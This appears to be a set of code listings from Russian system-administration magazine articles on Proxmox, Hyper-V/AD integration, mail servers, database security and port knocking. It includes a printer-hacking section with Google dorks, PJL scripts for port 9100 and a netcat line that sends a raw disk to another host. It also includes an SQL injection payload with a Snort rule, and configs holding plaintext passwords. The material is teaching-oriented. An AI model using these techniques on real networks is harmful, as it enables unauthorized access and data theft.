Синергия виртуализации с помощью дистрибутива Proxmox Антон Борисов $ egrep '^flags.*(vmx|svm)' /proc/cpuinfo Листинг 1. Дисковая подсистема хоста основана на LVM root@proxmox:~# df root@proxmox:~# fdisk -l root@proxmox:~# free root@proxmox:~# lvs root@proxmox:~# uname -a Листинг 2. Поддерживаемые файловые форматы для QEMU # qemu-img | egrep "version|Supported formats" Листинг 3. Подключим удаленное хранилище с помощью SSHFS root@proxmox:~# mkdir /export root@proxmox:~# sshfs -o allow_other -o reconnect system@big_storage.info:/media/iso_images /export $ wget -ct0 http://download.proxmox.com/appliances/system/debian-6.0-standard_6.0-4_amd64.tar.gz $ scp debian-6.0-standard_6.0-4_amd64.tar.gz root@proxmox:/var/lib/vz/template/cache/ Листинг 4. Создание OpenVZ-контейнера прошло успешно root@proxmox:/var/lib/vz/template/cache# pvectl create 200 debian-6.0-standard_6.0-4_amd64.tar.gz Листинг 5. Вход в OpenVZ-контейнер реализован почти прозрачно root@proxmox:~# vzctl start 200 root@proxmox:/var/lib/vz# vzctl enter 200 root@localhost:/# /sbin/ifconfig root@localhost:/# uname -a root@localhost:/# cat /etc/debian_version Листинг 6. Добавленный виртуальный интерфейс на хост-машине будет именоваться как veth root@proxmox:~# vzctl set 200 --netif_add eth0 --save # vzctl start 200 Листинг 7. Пример файла конфигурации для контейнера QEMU ostype: l26 memory: 1024 sockets: 1 net0: rtl8139=26:0F:D4:97:FE:42,bridge=vmbr0 ide2: ISO_images:iso/ubuntu-11.04-desktop-i386.iso,media=cdrom name: Ubuntu bootdisk: ide0 cores: 1 kvm: 1 ide0: local:100/vm-100-disk-2.raw acpi: 0 Листинг 8. Пример файла конфигурации для контейнера OpenVZ ONBOOT="no" PHYSPAGES="0:256M" SWAPPAGES="0:256M" KMEMSIZE="116M:128M" DCACHESIZE="58M:64M" LOCKEDPAGES="128M" PRIVVMPAGES="unlimited" SHMPAGES="unlimited" NUMPROC="unlimited" VMGUARPAGES="0:unlimited" OOMGUARPAGES="0:unlimited" NUMTCPSOCK="unlimited" NUMFLOCK="unlimited" NUMPTY="unlimited" NUMSIGINFO="unlimited" TCPSNDBUF="unlimited" TCPRCVBUF="unlimited" OTHERSOCKBUF="unlimited" DGRAMRCVBUF="unlimited" NUMOTHERSOCK="unlimited" NUMFILE="unlimited" NUMIPTENT="unlimited" # Disk quota parameters (in form of softlimit:hardlimit) DISKSPACE="unlimited" DISKINODES="unlimited" QUOTATIME="0" QUOTAUGIDLIMIT="0" # CPU fair scheduler parameter CPUUNITS="1000" CPUS="1" NAMESERVER="10.10.7.128" SEARCHDOMAIN="firm-demo.info" VE_ROOT="/var/lib/vz/root/$VEID" VE_PRIVATE="/var/lib/vz/private/$VEID" OSTEMPLATE="debian-6.0-standard_6.0-4_amd64" NETIF="ifname=eth0,mac=00:18:51:DA:7B:46,host_ifname=veth200.0,host_mac=00:18:51:ED:91:AF" # aptitude update && aptitude safe-upgrade ----------------------------------------------------------------------------------------------------------------- Установка CentOS на Microsoft Hyper-V R2. Подключение к Windows Active Directory-домену Григорий Антропов [root@srv1 ~]# mount /dev/cdrom /media [root@srv1 ~]# mkdir /opt/masters [root@srv1 ~]# mkdir /opt/masters/linuxic-3.0 [root@srv1 ~]# cp -R /media/* /opt/masters/linuxic-3.0/ [root@srv1 ~]# umount /media [root@srv1 ~]# rpm -ivh /opt/masters/linuxic-3.0/x86_64/kmod-microsoft-hyper-v-rhel6-60.1.x86_64.rpm [root@srv1 ~]# rpm -ivh /opt/masters/linuxic-3.0/x86_64/microsoft-hyper-v-rhel6-60.1.x86_64.rpm [root@srv1 ~]# reboot [root@srv1 ~]# modinfo hv_vmbus [root@srv1 ~]# lsmod | grep hv [root@srv1 ~]# shutdown -h now [root@srv1 ~]# ifconfig Листинг 1. Файл /etc/sysconfig/network-scripts/ifcfg-Auto_eth1 (настройки сетевой платы) TYPE=Ethernet BOOTPROTO=none IPADDR=172.24.131.10 PREFIX=24 GATEWAY=172.24.131.3 DNS1=172.24.131.5 DNS2=172.24.144.16 DOMAIN=example.local DEFROUTE=yes IPV4_FAILURE_FATAL=yes IPV6INIT=no NAME="Auto eth1" UUID=aa96fcdc-fe6b-469e-b1dd-437e27feb3d0 ONBOOT=yes HWADDR=00:15:5D:90:1C:01 Листинг 2. Файл /etc/sysconfig/network (FQDN-имя компьютера и шлюз по умолчанию) NETWORKING=yes HOSTNAME=srv1.example.local GATEWAY=172.24.131.3 Листинг 3. Файл /etc/resolv.conf (DNS-серверы и поиск по DNS-суффиксам) # Generated by NetworkManager search example.local nameserver 172.24.131.3 nameserver 172.24.144.16 Листинг 4. Файл /etc/hosts (информация о хосте) 172.24.131.10 srv1.example.local srv1 # Added by NetworkManager 127.0.0.1 localhost.localdomain localhost ::1 srv1.example.local srv1 localhost6.localdomain6 localhost6 [root@srv1 ~]# yum update [root@srv1 ~]# yum update tzdata Листинг 5. Файл stop.pkla [Shutdown] Identity=unix-user:* Action=org.freedesktop.consolekit.system.stop ResultAny=no ResultInactive=no ResultActive=auth_admin Листинг 6. Файл restart.pkla [Restart] Identity=unix-user:* Action=org.freedesktop.consolekit.system.restart ResultAny=no ResultInactive=no ResultActive=auth_admin Листинг 7. Файл hibernate.pkla [Hibernate] Identity=unix-user:* Action=org.freedesktop.devicekit.power.hibernate ResultAny=no ResultInactive=no ResultActive=auth_admin Листинг 8. Файл suspend.pkla [Suspend] Identity=unix-user:* Action=org.freedesktop.devicekit.power.suspend ResultAny=no ResultInactive=no ResultActive=auth_admin [root@srv1 ~]# rpm -ivh /opt/masters/NX/nxclient-3.5.0-7.x86_64.rpm [root@srv1 ~]# chmod 755 /usr/lib/cups/backend/ipp [root@srv1 ~]# rpm -ivh /opt/masters/NX/nxnode-3.5.0-7.x86_64.rpm [root@srv1 ~]# rpm -ivh /opt/masters/NX/nxserver-3.5.0-9.x86_64.rpm #!/bin/bash setxkbmap -option grp:switch,grp:ctrl_shift_toggle us,ru [root@srv1 ~]# chmod +x /usr/bin/xkbd-switch yum install alacarte [root@srv1 ~]# yum install yumex beesu [root@srv1 ~]# yum install logwatch [root@srv1 ~]# cp /etc/postfix/main.cf /etc/postfix/main.cf.ORIG Листинг 9. Файл конфигурации postfix. Файл /etc/postfix/main.cf # Информация о путях queue_directory = /var/spool/postfix command_directory = /usr/sbin daemon_directory = /usr/libexec/postfix data_directory = /var/lib/postfix # Собственник процессов и очередей mail_owner = postfix default_privs = nobody # Имя хоста # Будет добавляться к адресу отправителя, если почтовый адрес отправителя не указан полностью myhostname = srv1.example.local # Прием почты inet_interfaces = localhost inet_protocols = all mydestination = $myhostname, localhost.$mydomain, localhost # Отклонять почту для неизвестных локальных получателей # Принимать почту для локальных пользователей в соответсвии с алиасами local_recipient_maps = unix:passwd.byname $alias_maps unknown_local_recipient_reject_code = 550 # Доверие и возможность relay # Возможность отправлять только с локального хоста mynetworks = 127.0.0.0/8 # Почтовый relay-сервер # Если указывается relayhost = [....], отключается проверка mx-записи, # то есть нужно указать FQDN-имя relay-сервера или его IP-адрес # Если [] не указаны, происходит разрешение MX-записи, то есть можно указывать MX-запись relayhost = example.local # База данных алиасов alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases # Управление отладкой debug_peer_level = 2 debugger_command = PATH=/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin ddd $daemon_directory/$process_name $process_id & sleep 5 # Информация о путях установки sendmail_path = /usr/sbin/sendmail.postfix newaliases_path = /usr/bin/newaliases.postfix mailq_path = /usr/bin/mailq.postfix setgid_group = postdrop html_directory = no manpage_directory = /usr/share/man sample_directory = /usr/share/doc/postfix-2.6.6/samples readme_directory = /usr/share/doc/postfix-2.6.6/README_FILES # Person who should get root's mail root: buratino@example.com [root@srv1 ~]# newaliases [root@srv1 ~]# service postfix restart Листинг 10. Сценарий оповещения и сценарии установки и удаления оповещения # Сценарий infoupdown #!/bin/bash # description: This is not a daemon, this is only script # for writing information to $logdir about the event # of start up ($logdir/infostartup)or shutdown (reboot) # ($logdir/infoshutdown) of this computer. # You can send mail to $rcpt about this events, # if this computer has working MTA. # # note: $logdir and $lockdir must be set to valid path. # If you have working MTA, set $rpct to e-mail # addresses, separated by space, else set rcpt="". # Full path to log directory logdir=/var/log # Send mail to recipients, separated by space, else must # rcpt="" rcpt="user@example.com" # Full path to loc directory lockdir=/var/lock/subsys export h=$(hostname) l=${#rcpt} case "$1" in start) # Startup computer event echo "Write information about startup event" echo "=Computer Starting UP now=" > ${logdir}/infostartup echo >> ${logdir}/infostartup echo "hostname: ${h} (${MACHTYPE})">> ${logdir}/infostartup date >> ${logdir}/infostartup echo >> ${logdir}/infostartup echo "Please, check this computer after startup!" >> ${logdir}/infostartup # Write lock file – needed to execute K01infoupdown # stop in rc0.d, rc1.d, rc6.d echo > ${lockdir}/infoupdown # Send mail if rcpt not empty if [ $l -gt 0 ] ; then $(mail -s "${h} Startup" ${rcpt} < ${logdir}/infostartup) fi ;; stop) # Shutdown or Reboot computer event echo "Write information about shutdown or reboot event" echo "=Computer Shutting Down or Reboot now=" > ${logdir}/infoshutdown echo >> ${logdir}/infoshutdown echo "hostname: ${h} (${MACHTYPE})">> ${logdir}/infoshutdown date >> ${logdir}/infoshutdown echo >> ${logdir}/infoshutdown echo "Please, check why this computer go to reboot or shutdown!" >> ${logdir}/infoshutdown # Send mail if rcpt not empty if [ $l -gt 0 ] ; then $(mail -s "${h} Shutdown or Reboot" ${rcpt} < ${logdir}/infoshutdown) fi ;; *) echo $"Usage: $0 {start|stop}" exit 1 esac # Сценарий install #!/bin/bash # description: This script install infoupdown script # on the computer with CentOS. # !!! Check path to your $scr !!! scr=/opt/scripts/info/infoupdown echo "Create links:" echo "/etc/rc.d/rc3.d/S99infoupdown -> ${scr}" ln -s ${scr} /etc/rc.d/rc3.d/S99infoupdown echo "/etc/rc.d/rc4.d/S99infoupdown -> ${scr}" ln -s ${scr} /etc/rc.d/rc4.d/S99infoupdown echo "/etc/rc.d/rc5.d/S99infoupdown -> ${scr}" ln -s ${scr} /etc/rc.d/rc5.d/S99infoupdown echo "/etc/rc.d/rc0.d/K00infoupdown -> ${scr}" ln -s ${scr} /etc/rc.d/rc0.d/K00infoupdown echo "/etc/rc.d/rc1.d/K00infoupdown -> ${scr}" ln -s ${scr} /etc/rc.d/rc1.d/K00infoupdown echo "/etc/rc.d/rc6.d/K00infoupdown -> ${scr}" ln -s ${scr} /etc/rc.d/rc6.d/K00infoupdown echo "-- OK --" # Сценарий UNINSTALL #!/bin/bash # description: This script uninstall infoupdown script # from this computer echo "Remove links:" echo "Remove /etc/rc.d/rc3.d/S99infoupdown" rm -f /etc/rc.d/rc3.d/S99infoupdown echo "Remove /rtc/rc.d/rc4.d/S99infoupdown" rm -f /etc/rc.d/rc4.d/S99infoupdown echo "Remove /etc/rc.d/rc5.d/S99infoupdown" rm -f /etc/rc.d/rc5.d/S99infoupdown echo "Remove /etc/rc.d/rc0.d/K00infoupdown" rm -f /etc/rc.d/rc0.d/K00infoupdown echo "Remove /etc/rc.d/rc1.d/K00infoupdown" rm -f /etc/rc.d/rc0.d/K00infoupdown echo "Remove /etc/rc.d/rc6.d/K00infoupdown" rm -f /etc/rc.d/rc6.d/K00infoupdown echo "-- OK --" [root@srv1 ~]# chmod +x /opt/scripts/info/* [root@srv1 ~]# yum install samba samba-winbind [root@srv1 ~]# cp /etc/krb5.conf /etc/krb5.conf.ORIG Листинг 11. Файл /etc/krb5.conf [logging] default = FILE:/var/log/krb5libs.log kdc = FILE:/var/log/krb5kdc.log admin_server = FILE:/var/log/kadmind.log [libdefaults] default_realm = EXAMPLE.LOCAL dns_lookup_realm = true dns_lookup_kdc = true ticket_lifetime = 24h renew_lifetime = 7d forwardable = true [realms] EXAMPLE.LOCAL = { default_domain = example.local } [domain_realm] .example.local = EXAMPLE.LOCAL example.local = EXAMPLE.LOCAL [root@srv1 ~]# cp /etc/samba/smb.conf /etc/samba/smb.conf.ORIG Листинг 12. Файл /etc/samba/smb.conf #======================= Global Settings ================= [global] #--authconfig--start-line-- # Generated by authconfig on 2011/10/11 16:17:16 # DO NOT EDIT THIS SECTION (delimited # by --start-line--/--end-line--) # Any modification may be deleted or altered # by authconfig in future workgroup = EXAMPLE realm = EXAMPLE.LOCAL security = ads idmap uid = 16777216-33554431 idmap gid = 16777216-33554431 template shell = /bin/bash winbind offline logon = false #--authconfig--end-line-- winbind use default domain = true log file = /var/log/samba/log.%m max log size = 50 syslog = 0 winbind use default domain = true net ads join -U Adminstrator [root@srv1 ~]# net ads testjoin mkdir /home/EXAMPLE [root@srv1 ~]# chkconfig --list | grep winbind [root@srv1 ~]# id usr2 ..... account include password-auth account required pam_succeed_if.so user ingroup linux_login .... ----------------------------------------------------------------------------------------------------------------- Сжатие видеофайлов в собственном облаке Ренат Гараев livevideoarc:~ # mc # zypper search libgmodule cat /etc/resolv.conf echo nameserver IP-адрес >/etc/resolv.conf export http_proxy=http://адрес.прокси:порт export ftp_proxy=http://адрес-прокси:port livevideoarc:~ # zypper search libgmodule livevideoarc:~ # zypper install libgmodule-2_0-0 #!/bin/sh #Copyright by rvny@mail.ru GPL V3 POTOK="$1" #Получим номер потока из командной строки SERVICE=vobtoavi$POTOK.pl STARTCONV=/usr/bin/vobtoaviz$POTOK.pl export PATH=/usr/local/bin:$PATH obrabpath=/home/linux/obrab/inbox$POTOK obrabpath1=/home/linux/obrab/inbox$POTOK/VIDEO_TS.VOB obrabpath2=/home/linux/obrab/outbox echo $obrabpath1 cd $obrabpath #check video flag for start converting if [ -f $obrabpath1 ] then if ps ax | grep -v grep | grep $SERVICE > /dev/null then echo "$SERVICE is running" exit else echo "$SERVICE not runing" rm -rf $obrabpath1 echo "Found and start ..." COMSTART=/usr/local/bin/vobtoavi$POTOK.pl $COMSTART $obrabpath $obrabpath2 $POTOK& fi fi $chmod +x startvobtoavi* #mcedit /usr/bin/vobtoavi1.pl #!/usr/bin/perl use POSIX; #Чтобы преобразовать дату и время запуска скрипта #к читаемому виду print "LiveVideoArc http://code.google.com/p/livevideoarc/"; if (($ARGV[0] eq "") || ($ARGV[1] eq "")|| ($ARGV[2] eq "")) { printf("\n\nUse vobtoavi Number Potok\n\n"); exit; } $POTOK=$ARGV[2]; open (MYFILE, '>>/home/linux/obrab/outbox/gotovo.txt'); ($sec,$min,$hour,$mday,$mon,$year,$wday, $yday,$isdst)=localtime(time); print MYFILE ' =-= Started '; print MYFILE "#"; print MYFILE $POTOK; print MYFILE "# "; $now = POSIX::strftime("%d-%m-%Y %H:%M:%S", localtime); print MYFILE $now; print MYFILE ' '; close(MYFILE); opendir(DH, $ARGV[0]) or die "Couldn't open $ARGV[0] for reading: $!"; @files = grep {/\.vob$/i} readdir (DH); closedir(DH); for $filez (@files) { $file = $filez; $file =~ s/.vob$/.avi/gi; #Copyright by rvny@mail.ru GPL V3 `rm -rf audio.wav`; `rm -rf divx2pass.log`; `rm -rf file.avi`; `ffmpeg -threads 4 -loglevel quiet -y -i "$ARGV[0]/$filez" -acodec pcm_s16le -ac 1 -ar 22050 audio.wav`; `normalize -q -a 1 audio.wav`; `mencoder -lavdopts threads=4 -quiet -vf pp=fd,scale=720:576 -o /dev/zero -ovc xvid -xvidencopts bitrate=200:pass=1 -oac copy -af resample=22050:0:0 "$ARGV[0]/$filez"`; `mencoder -lavdopts threads=4 -quiet -vf pp=fd,scale=720:576 -o "$ARGV[1]/$file" -audiofile audio.wav -ovc xvid -oac mp3lame -xvidencopts bitrate=200:pass=2 -lameopts vbr=0:br=32:mode=3 "$ARGV[0]/$filez" -o "$ARGV[1]/$file"`; } open (MYFILE, '>>/home/linux/obrab/outbox/gotovo.txt'); ($sec,$min,$hour,$mday,$mon,$year,$wday, $yday,$isdst)=localtime(time); #stringdate="%4d-%02d-%02d %02d:%02d:%02d\n", #Finished print MYFILE " # "; print MYFILE $POTOK; print MYFILE "#"; print MYFILE ' --> Finished: '; $now = POSIX::strftime("%d-%m-%Y %H:%M:%S", localtime); print MYFILE $now; print MYFILE ' '; close(MYFILE); `mencoder -lavdopts threads=4 -quiet -vf pp=fd,scale=220:176 -o /dev/zero -ovc xvid -xvidencopts bitrate=80:pass=1 -oac copy -af resample=22050:0:0 mini1.avi`; `mencoder -lavdopts threads=4 -quiet -vf pp=fd,scale=220:176 -audiofile audio.wav -ovc xvid -oac mp3lame -xvidencopts bitrate=200:pass=2 -lameopts vbr=0:br=32:mode=3 mini1.avi -o "$ARGV[1]/$file"`; chmod +x /usr/bin/vobtoavi* chown linux:users /usr/bin/vobtoavi* linux@livevideoarc:~> normalize #zypper install wget #wget -c http://savannah.nongnu.org/download/normalize/normalize-0.7.7.tar.gz #tar -xvf normalize-0.7.7.tar.gz livevideoarc:/home/linux # cd normalize-0.7.7 livevideoarc:/home/linux/normalize-0.7.7 # ./configure --prefix=/usr #zypper install gcc livevideoarc:/home/linux/normalize-0.7.7 # ./configure livevideoarc:/home/linux/normalize-0.7.7 # zypper install make livevideoarc:/home/linux/normalize-0.7.7 # make livevideoarc:/home/linux/normalize-0.7.7 # make install # ------------------------------ # Authentication # ------------------------------ ### PAM Authentication # AuthPAM: default: on AuthPAM off # changed AuthPAMConfig file AuthPAMConfig proftpd ### PAM Authentication # AuthUserFile /etc/proftpd/auth/passwd # AuthGroupFile /etc/group # AuthUserFile /etc/shadow # AuthGroupFile /etc/group ### order of auth modules AuthOrder mod_auth_unix.c mod_auth_file.c # AuthOrder mod_auth_file.c 192.168.1.100 livevideoarc #service proftpd start #chkconfig proftpd on #!/bin/sh for number in 1 2 3 4 5 do $COMSTART="\home\linux\obrab\startvobtoavi.sh $number" #echo $COMSTART cd /home/linux/obrab/inbox$number $COMSTART done chmod +x startvobtoavicron.sh */3 * * * * /home/linux/startvobtoavicron.sh #chkconfig proftpd on *** /etc/proftpd/proftpd.conf Tue Nov 22 11:01:11 2011 --- proftpd.conf Wed Dec 7 08:47:08 2011 *************** *** 78 **** ! AuthPAMConfig proftpd --- 78 ---- ! AuthPAMConfig off *************** *** 85,86 **** ! #AuthOrder mod_auth_unix.c mod_auth_file.c ! AuthOrder mod_auth_file.c --- 85,86 ---- ! AuthOrder mod_auth_unix.c mod_auth_file.c ! #AuthOrder mod_auth_file.c echo "Patch for proftpd start (loopback to localhost)" printf "127.0.0.1 " >>/etc/hosts uname -n >>/etc/hosts echo "192.168.1.149 vobtoavi">>/etc/hosts echo "192.200.101.191 vobtoavi">>/etc/hosts ----------------------------------------------------------------------------------------------------------------- Почтовый сервер. Exim, Dovecot и RoundСube с интеграцией в Active Directory. Часть 3 Виталий Резников # This file is opened as root, so it should be owned by root and mode 0600. # http://wiki.dovecot.org/AuthDatabase/LDAP # # Список LDAP-хостов, а в нашем случае контроллеров домена (DC): hosts = 192.168.0.2 192.168.0.4 # Авторизовываться при подключении к DC auth_bind = yes # Distinguished Name – имя пользователя, используемое для подключения к DC dn = unix_ldap@firma-market # Пароль пользователя, указанного выше dnpass = qwas`1234 # LDAP base – конкретная область поиска в AD base = ou=Users, ou=FIRMA-MARKET, dc=firma-market # Атрибуты пользователя, и что они означают для Dovecot. # В версии Dovecot 1.2 перестали поддерживаться относительные пути к папкам. # Поэтому, чтобы указать, что в качестве имени домашнего # каталога (где хранится почта) нужно использовать атрибут # учетной записи sAMAccountName, запишем следующее: user_attrs = sAMAccountName=home=/var/mail/%$ # Фильтр LDAP-запроса для поиска пользователей в AD. # Этим отсекаем заблокированные учетные записи и учетные записи # с пустым полем mail user_filter = (&(sAMAccountName=%u)(objectClass=user)(mail=%u@firma-market.ru)\(!(userAccountControl:1.2.840.113556.1.4.803:=2))) # Атрибуты проверки пароля, и что они означают для Dovecot. # Здесь указываем, что при проверке пароля имя пользователя брать из sAMAccountName pass_attrs = sAMAccountName=user # Фильтр LDAP-запроса для поиска паролей в AD pass_filter = (&(sAMAccountName=%u)(objectClass=user)(mail=%u@firma-market.ru)\(!(userAccountControl:1.2.840.113556.1.4.803:=2))) ms01# cd /usr/ports/mail/dovecot-sieve ms01# make install clean ms01 [/usr/local/etc/exim/filters]# cat sieve-filter # Sieve filter require ["fileinto"]; # rule:[spam] if anyof (header :contains "X-Spam-FM" "YES") { fileinto "Junk"; } ms01# cd /usr/ports/mail/dovecot-managesieve ms01# make install clean [X] GSSAPI GSSAPI support D:\Temp>ktpass -princ imap/ms01.firma-market@FIRMA-MARKET -mapuser ms01_imap -pass 1qa@ws3ed -ptype KRB5_NT_SRV_INST -out krb5-imap.keytab D:\Temp>ktpass -princ smtp/ms01.firma-market@FIRMA-MARKET -mapuser ms01_smtp -pass 1qa@ws3ed -ptype KRB5_NT_SRV_INST -out krb5-smtp.keytab ms01 [/etc]# ktutil copy /home/vit/krb5-imap.keytab /etc/krb5.keytab ms01 [/etc]# ktutil copy /home/vit/krb5-smtp.keytab /etc/krb5.keytab ms01 [/etc]# ktutil list auth default { mechanisms = gssapi userdb static { args = uid=26 gid=26 home=/var/mail/%u } } auth default { mechanisms = gssapi plain login passdb ldap { args = /usr/local/etc/dovecot-ldap.conf } userdb ldap { args = /usr/local/etc/dovecot-ldap.conf } dovecot_gssapi: driver = dovecot public_name = GSSAPI server_socket = /var/run/dovecot/auth-client server_set_id = $auth1 diff -u -r exim-4.69/src/smtp_in.c exim-4.69-cmd-buffer/src/smtp_in.c --- exim-4.69/src/smtp_in.c 2007-09-28 05:21:57.000000000 -0700 +++ exim-4.69-cmd-buffer/src/smtp_in.c 2009-08-13 20:09:12.000000000 -0700 @@ -37,9 +37,14 @@ /* Size of buffer for reading SMTP commands. We used to use 512, as defined by RFC 821. However, RFC 1869 specifies that this must be increased for SMTP commands that accept arguments, and this in particular applies to AUTH, where -the data can be quite long. */ +the data can be quite long. More recently this value was 2048 in Exim; +however, RFC 4954 (circa 2007) recommends 12288 bytes to handle AUTH. Clients +such as Thunderbird will send an AUTH with an initial-response for GSSAPI. +The maximum size of a Kerberos ticket under Windows 2003 is 12000 bytes, and +we need room to handle large base64-encoded AUTHs for GSSAPI. +*/ -#define smtp_cmd_buffer_size 2048 +#define smtp_cmd_buffer_size 16384 /* Size of buffer for reading SMTP incoming packets */ ms01# cd /usr/ports/mail/roundcube/ ms01# make install clean ms01# cat roundcube.sql # Создание базы, пользователя, прав доступа. CREATE DATABASE roundcubebase DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci; GRANT ALL PRIVILEGES ON roundcubebase.* TO roundcubeuser@ localhost IDENTIFIED BY 'roundcubepassword'; FLUSH PRIVILEGES; ms01# mysql -uroot -ppassword < roundcube.sql ms01# mysql roundcubebase < /usr/local/www/roundcube/SQL/mysql5.initial.sql $rcmail_config['db_dsnw']= \ 'mysql://roundcubeuser:roundcubepassword@localhost/roundcubebase'; 'Firma-market', 'hosts' => array('dc01', 'dc02'), 'port' => 389, 'use_tls' => false, 'user_specific' => true, 'base_dn' => 'ou=FIRMA-MARKET,dc=firma-market', 'bind_dn' => 'unix_ldap', 'bind_pass' => 'qwas`1234', 'writable' => false, 'LDAP_Object_Classes' => array("user", "group"), 'required_fields' => array("cn", "mail"), 'ldap_version' => 3, 'search_fields' => array('mail', 'cn'), // поля, по которым будет выполняться поиск в адресной книге LDAP 'name_field' => 'cn', 'email_field' => 'mail', 'surname_field' => 'sn', 'firstname_field' => 'gn', 'sort' => 'cn', // поле, по которому будет выполняться сортировка списка 'scope' => 'sub', // режим поиска, может быть sub|base|list 'filter' => \ '(&(|(objectclass=group)(objectclass=user))(!(userAccountControl:1.2.840.113556.1.4.803\:=2))(mail=*@*))', 'fuzzy_search' => true); $rcmail_config['htmleditor'] = TRUE; $rcmail_config['preview_pane'] = TRUE; $rcmail_config['logout_purge'] = TRUE; // При ответе помещать курсор выше оригинального сообщения $rcmail_config['top_posting'] = TRUE; // end of config file ?> DocumentRoot "/usr/local/www/roundcube" AllowOverride None Order deny,allow Allow from all # For Roundcube Alias /wmail "/usr/local/www/roundcube" Options None AllowOverride None Order deny,allow Allow from all ms01# cd /usr/local/etc/apache22/ ms01# openssl genrsa 1024 > server.key ms01# openssl req -new -key server.key -x509 -days 3650 -out server.crt ## ## SSL Virtual Host Context ## DocumentRoot "/usr/local/www/roundcube/" ServerName ms01:443 ServerAdmin you@example.com ErrorLog "/var/log/httpd-error.log" TransferLog "/var/log/httpd-access.log" # Server Certificate: SSLCertificateFile "/usr/local/etc/apache22/server.crt" # Server Private Key: SSLCertificateKeyFile "/usr/local/etc/apache22/server.key" ; Разрешаем загрузку файлов по http file_uploads = On ; Меняем размер вложенного файла upload_max_filesize = 10M ; Меняем размер почтового файла post_max_size = 15M #### Antivirus ClamAV clamav_clamd_enable="YES" clamav_freshclam_enable="YES" #### MAIL sendmail_enable="NONE" exim_enable="YES" dovecot_enable="YES" apache22_enable="YES" apache22_http_accept_enable="YES" #### MySQL mysql_enable="YES" ----------------------------------------------------------------------------------------------------------------- Принтер как источник угрозы. Антируководство по взлому локальных сетей Игорь Савчук $: nmap -A 192.168.1.1 -T insane inurl:hp/device/this.LCDispatcher intitle:"web image monitor" "/web/user/en/websys/webArch/mainFrame.cgi" inurl:"/en/sts_index.cgi" > / > host-name:PLAYGROUND > ip: 192.168.100.1 > subnet-mask: 255.255.255.0 > default-gw: 192.168.2.99 > quit #!/usr/bin/perl -w #File name: prnmsg.pl use IO::Socket; $iphost = $ARGV[0]; $textprn = $ARGV[1]; my $mysock = new IO::Socket::INET ( PeerAddr => $iphost, PeerPort => '9100', Proto => 'tcp', ); die "NETWORK ERROR: Could not create socket! $!\n" stuff $mysock; print $mysock $textprn; close($mysock); #!/usr/bin/perl –w #File name: lcdmsg.pl use IO::Socket; $iphost = $ARGV[0]; $lcdprn = $ARGV[1]; my $mysock = new IO::Socket::INET ( PeerAddr => $iphost, PeerPort => '9100', Proto => 'tcp', ); die "NETWORK ERROR: Could not create socket! $!\n" stuff $mysock; print $mysock "\@PJL RDYMSG DISPLAY = \"$lcdprn\"\n"; close($mysock); lcdmsg.pl 192.168.1.1 "INITIATING ROBOT UPRISING" cat /dev/hda | netcat -q 0 192.168.1.2 9100 http://192.168.1.1/hp/device/ mkdir pjllib cd pjllib wget http://www.phenoelit-us.org/hp/libPJL-1.3-src.tgz tar -xzf libPJL-1.3-src.tgz make cd pft/ make ----------------------------------------------------------------------------------------------------------------- Все в комплексе. Безопасность баз данных. Часть 1 Юрий Денисов root@host:/etc/mysql# netstat -nlp | grep mysql mysql> SHOW VARIABLES like '%ssl%'; mysql> SHOW VARIABLES like '%ssl%'; openssl genrsa 2048 > ca-key.pem openssl req -new -x509 -nodes -days 1000 -key ca-key.pem -out ca-cert.pem openssl req -newkey rsa:2048 -days 1000 -nodes -keyout server-key.pem -out server-req.pem openssl x509 -req -in server-req.pem -days 1000 -CA ca-cert.pem -CAkey ca-key.pem -set_serial 01 -out server-cert.pem openssl req -newkey rsa:2048 -days 1000 -nodes -keyout client-key.pem -out client-req.pem openssl x509 -req -in client-req.pem -days 1000 -CA ca-cert.pem -CAkey ca-key.pem -set_serial 01 -out client-cert.pem ssl-ca=/etc/mysql/cert/ca-cert.pem ssl-cert=/etc/mysql/cert/server-cert.pem ssl-key=/etc/mysql/cert/server-key.pem #mysql --ssl-ca=ca-cert.pem –ssl-cert=client-cert.pem –ssl-key=client-key.pem -u root -p mysql> SHOW VARIABLES like '%ssl%'; mysql> SHOW STATUS LIKE 'Ssl_cipher'; root@host:/# ssh -L 3306:127.0.0.1:3306 root@remotehost SELECT id,name FROM users WHERE user_login='$login' AND user_password='$password' vasya' OR '1'='1 SELECT id,name FROM users WHERE user_login='vasya' OR '1'='1' AND user_password='$password' drop tcp any any -> $HOME_NET $HTTP_PORTS (msg:"SQL INJECTION";uricontent:"select";nocase;uricontent:"union";nocase;sid:1000001;) ----------------------------------------------------------------------------------------------------------------- Позади закрытых дверей. Часть 1. Специализированные приложения для PK Игорь Савчук $ cd /usr/ports/security/knock $ make install clean # Глобальная секция настроек [options] # Путь к лог-файлу logfile = /var/log/knockd.log # Какой сетевой интерфейс будет прослушивать knockd? interface = eth1 [ssh_open] sequence = 1291:udp, 3614:udp, 1492:tcp, 1090:udp seq_timeout = 20 tcpflags = syn,ack,!urg start_command = /usr/sbin/iptables -A INPUT -s %IP% -p tcp --syn --dport 22 -j ACCEPT [ssh_close] sequence = 1217:udp, 3114:udp, 1099:udp, 1292:tcp seq_timeout = 20 tcpflags = syn,ack,urg command = /usr/sbin/iptables -D INPUT -s %IP% --dport 22 -j ACCEPT start_command = /usr/sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 --syn -j ACCEPT cmd_timeout = 20 stop_command = /usr/sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 --syn -j ACCEPT [openFTP] one_time_sequences = /etc/knockd/ftp_sequences.txt seq_timeout = 20 tcpflags = fin,!ack command = /usr/sbin/iptables -A input -s %IP% -p tcp --dport 25 -j ACCEPT $ knock 1291:udp, 3614:udp, 1492:tcp, 1090:udp & ssh sesame.samag.ru $ knock.php sesame.samag.ru 1291:udp, 3614:udp, 1492:tcp, 1090:udp $ nmap -sS -T Polite -p,, 2 byte Initiator (0xDEAD) 1 byte UserID 1 byte ActionID (Action sequence) 8 byte One time Password (OTP) 4 byte IP address (Dotted decimal to Hex) } date +%d%m%y%k%MSrvseedMypass204.244.123.234 | md5sum| cut -c 17-32 ping -c1 –p "dead4201f0b70bc031a365e9ccf47bea" sesame.samag.ru ----------------------------------------------------------------------------------------------------------------- Исполнение PowerShell-сценариев из DOT.NET Иван Коробко Листинг 1. Шаблон вызова PowerShell-интерпретатора в C# string script = …; // Выполняемый программный код string outCmd = "…"; // Командлет, направляющий поток данных // Вызов PowerShell-интерпретатора foreach (string str in PowerShell.Create(). 